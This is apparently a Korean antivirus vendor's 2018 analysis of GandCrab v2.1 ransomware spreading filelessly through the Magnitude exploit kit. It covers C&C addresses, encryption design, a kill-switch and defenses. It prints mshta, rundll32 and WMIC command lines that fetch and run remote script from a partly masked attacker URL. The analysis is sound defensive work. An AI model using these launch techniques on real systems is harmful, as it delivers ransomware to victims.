본문 바로가기
악성코드 정보

Fileless 형태로 유포되는 GandCrab v2.1

by 분석팀 2018. 4. 17.

이전 블로그에도 게시했던 것처럼 Magniber 유포지 확인 중 새로운 버전의 GandCrab v2.1이 유포 됨을 확인 한바 있다이와 관련하여 자사에서는 금주부터 GandCrab v2.1이 Magnitude 익스플로잇 킷을 통해 Fileless 형태로 유포 중임을 추가 확인하였다동작 구동방식은 아래와 같다.

[그림 1] GandCrab v2.1 유포 및 동작 방식

유포 사이트 접근 시 공격자가 의도한 윈도우 정상 프로세스(‘mshta.exe’, ‘rundll32.exe’, 'WMIC.exe')를 통해 특정 URL로 접속한다. 해당 정상 프로세스를 통해 접속하는 페이지에는 악성 자바스크립트가 작성 되어있다. 각 프로세스 별 스크립트 실행방식은 아래의 [표3]의 명령을 보면 이해가 쉽다.

mshta.exe 로 구동되는 커맨드 명령

GetObject("new:13709620-C279-11CE-A49E-444553540000")

.ShellExecute"mshta","vbscript:Close(Execute("GetObject("

script:"http://d343*6q*d01*0d8h.it*five.tr*de/d2d*c*aba9*d3*e8*3eb*d9c**ea*ed0")))"

//13709620-C279-11CE-A49E-444553540000 : "Shell.Application" 의 CLASSID

[표 1] mshta.exe로 구동되는 커맨드 명령

rundll32.exe 로 구동되는 커맨드 명령

GetObject("new:13709620-C279-11CE-A49E-444553540000")

.ShellExecute "Rundll32.exe",\"javascript:"\\..\\mshtml,RunHTMLApplication \"&\"&\";document.write();GetObject('

script:"http://d343*6q*d01*0d8h.it*five.tr*de/d2d*c*aba9*d3*e8*3eb*d9c**ea*ed0"')\"

//13709620-C279-11CE-A49E-444553540000 : "Shell.Application" 의 CLASSID

[표 2] rundll32.exe로 구동되는 커맨드 명령

WMI 로 구동되는 커맨드 명령

GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Run 

"wmic process call create "'"mshta vbscript:Close(Execute("""GetObject(""""

script:"http://d343*6q*d01*0d8h.it*five.tr*de/d2d*c*aba9*d3*e8*3eb*d9c**ea*ed0""")"""))"'

//72C24DD5-D70A-438B-8A42-98424B88AFB8 : "Wscript.Shell" 의 CLASSID

[표 3] WMI 로 구동되는 커맨드 명령

[그림 2] 악성 페이지에 작성되어 있는 Jscript 일부 (PE base64 인코딩 된 형태 포함)

해당 스크립트는 코드 내부에 Base64로 인코딩 된 DLL 이미지를 디코딩하여 메모리 상에서 동작하도록 한다. 이 디코딩 된 DLL 이미지는 내부에 또 다른 DLL 이미지(핵심 GandCrab v2.1)를 explorer.exe에 인젝션하여 동작하도록 한다. 이 모든 과정에서 Jscript PE 이미지는 파일로 드롭 혹은 다운로드되지 않은 채 메모리 상에서만, Fileless 형태로 동작한다.


GandCrab Kill-Switch (암호화 차단 방법)

자사에서는 GandCrab이 특정 조건에서 암호화가 중단 될 수 있는 Kill-Switch를 확인하였다

"Text.txt" 파일 내부에 10바이트의 특정 데이터가 존재할 경우 해당 파일이하 경로는 암호화하지 않는다. 특정 데이터를 포함한 "Text.txt" 각 드라이브 루트경로에 위치 시킬 경우, 해당 드라이브 하위의 파일들에 대한 암호화를 막을 수 있게된다.

(예시)

- C:\Text.txt (C드라이브 하위 암호화 차단)

- D:\Text.txt (D드라이브 하위 암호화 차단)

[그림3] 암호화 차단 할 수 있는 "Text.txt" 내부 데이터 값

아래에 첨부 된 "Text.txt"를 다운로드하여 각 드라이브의 루트 경로에 복사해 놓을 경우, GandCrab에 감염되어도 파일 암호화를 막을 수 있다.


동작방식 외 변경사항

GandCrab v2.1은 v2.0과 비교하였을 때, 유포 방식 및 DLL을 통한 동작 방식으로 변형 된 점이 가장 눈에 띠며, 추가적으로 아래와 같은 사항들이 조금씩 변화하였다.


[변화1] - 네트워크 관련

기존의 GandCrab에서는 C&C주소를 도메인으로 가지고 있던 반면 v2.1에서는 IP 주소로 된 C&C에 접근한다. C&C확인에 혼란을 주기 위해 코드 내부에 다른 도메인을 함께 가지고 있으나 핵심적으로 접근하는 C&C는 한개이다현재까지 확인 된 DLL 파일 별 C&C 주소는 아래와 같다.

- 217.182.21.114

- 217.182.21.115

- 167.114.214.56

- 193.70.60.127

- 185.82.202.202

또한 GandCrab 초창기 버전의 기능과 마찬가지로 사용자 정보 및 공개키 쌍을 암호화하여 C&C에 전송되는데, 이때 최근 버전에서는 전송 시 패킷 덤프 상 정상의 접속인 것처럼 보이게 하기 위하여 구글 도메인 주소를 아래와 같이 패킷 헤더에 ‘HOST: google.com’ 문자열로 추가한다.

[그림 4] GandCrab v2.1C&C와 통신 시 정상 패킷 위장을 위해 사용하는 헤더 문자열

 

[변화2] - 암호화 제외 확장자

v1 대의 초창기 GandCrab에서는 암호화 대상 확장자 리스트를 가지고 있었으나, v2.0부터는 암호회 제외 확장자 리스트를 가진다. 이 리스트는 XOR로 암호화되어 가지고 있으며 v2.1에서는 v2.0과 비교하여 1개의 확장자 리스트가 추가되었다.


.ldf가 추가 된 암호화 제외 확장자 리스트(43)

.ani, .cab, .cpl, .cur, .diagcab, .diagpkg, .dll, .drv, .hlp, .ldf, .icl, .icns, .ico, .ics, .lnk, .key, .idx, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nomedia, .ocx, .prf, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .exe, .bat, .cmd, .CRAB, .crab, .GDCB, .gdcb, .gandcrab, .yassine_lemmou

[표 4] GandCrab v2.1에 추가 된 암호화 제외 확장자

이 외의 아래에 명시 된 기능은 v2.0버전과 동일하다.

(상세 목록은 http://asec.ahnlab.com/1101, http://asec.ahnlab.com/1091 참고)


- 현재 동작 중인 특정 프로세스 종료

- AntiVirus 관련 프로세스 확인 목록

- 암호화 제외 경로 및 파일명 리스트


암호화 방식 또한 v2.0과 동일하나해당 내용은 이전 글에서 언급하지 않아 아래에 설명하고자 한다.


파일 암호화 방식 (v2.0 & v2.1)

GandCrab v2.1은 공개키 기반의 암호화 방식을 사용한다암호화 대상이 되는 파일마다 랜덤한 키 바이트를 생성하여 AES-256 방식으로 암호화한 뒤 랜덤 키 바이트를 다시 공격자의 공개키로 암호화 한다따라서 암호화된 파일을 복호화를 하기 위해서는 공격자의 개인키가 필요하다아래 [그림 5] GandCrab v2.1의 암호화 방식을 요약한 그림이다먼저 로컬에서 공개키/개인키 쌍을 생성한 뒤 공격자의 C&C 서버에 생성한 키 값을 전송한다이후 공격자는 자신의 공개키를 감염 PC에 전송하여 사용자 로컬 PC에서 생성한 랜덤한 키 값을 암호화 하는데 활용한다따라서 공격자의 C&C 서버에서 전달받은 공개키에 대한 개인키를 알지 못하면 파일의 복구는 불가능하다.

[그림 5] GandCrab v2.1의 암호화 방식


GandCrab v2.1에 의해 파일 암호화가 완료된 파일의 구조는 [그림 6]과 같다.


[그림 6] 암호화된 파일의 구조

[그림 6]은 원본의 파일 크기가 0x220인 파일을 암호화한 결과이다. 파일 끝 0x208 크기의 값은 복호화에 필요한 값들을 저장하고 있다. 공격자의 공개키로 키 값과 벡터 값을 암호화 하기 때문에 복호화를 위해서는 공격자의 개인키가 필요하다.


[4월 20일자] - Update!!

20일자 GandCrab v2.1 이미지에서 기존에 없던 아래와 같은 뮤텍스를 생성하며, C&C와 통신 할 시 보내는 HTTP 헤더 문자열을 "HOST: google.com"에서 "HOST: ahnlab.com"으로 변경하였음을 확인하였다.

[그림 7] Mutex 추가 생성 코드

[그림 8] HOST 문자열 변경


감염 예방방법

1. 취약점 패치

결과적으로 GandCrab Fileless의 형태로 동작하는 것과 개인키 확인을 어렵게 하는 점으로 보아 진단 및 복구를 힘들게 한다고 할 수 있다따라서 확인되지 않는 페이지의 접근을 지양하고 접속 시 사용자의 각별한 주의가 필요하며 주기적인 보안 업데이트가 필요하다. (아래 참고)

스크립팅 엔진 메모리 손상 취약점 (CVE-2016-0189)

취약점 대상의 인터넷 익스플로러 버전 9, 10, 11이며 아래 경로에서 최신 버전의 인터넷 익스플로러를 다운로드 할 수 있다.

https://support.microsoft.com/en-us/help/17621/internet-explorer-downloads

또한 윈도우 보안 업데이트는 다음과 같이 진행 할 수 있다.

- 윈도우 시작 버튼 -> 모든 프로그램 -> Windows Update


2. DEP (Data Execution Prevention) Enable

Fileless 형태로 유포되는 GandCrab v2.1은 윈도우 정상 프로세스인 explorer.exe DLL 인젝션을 통해 감염이 수행된다이때 DEP가 모든파일로 설정된 경우사전에 차단되어 동작하지 않는 것을 확인하였다. WinXP, Win7, Win10 에서 DEP를 설정하는 방식 첨부한 워드 문서를 참고.

DEP 설정방법.docx


V3 대응

GandCrab 랜섬웨어가 암호화 행위를 수행하기 위해 C&C에 접속하는 패킷을 차단하며아래와 같은 화면으로 차단됨을 알 수 있다. (IS9.0 제품) 차단된 프로세스 explorer.exe는 악성코드에 의해 새롭게 생성된 프로세스 임.

V3 Lite 제품에서는 Magnitude 익스플로잇 킷관련 웹 사이트에 방문 시,  아래와 같이 사전차단이 이루어지는 것을 알 수 있다.


댓글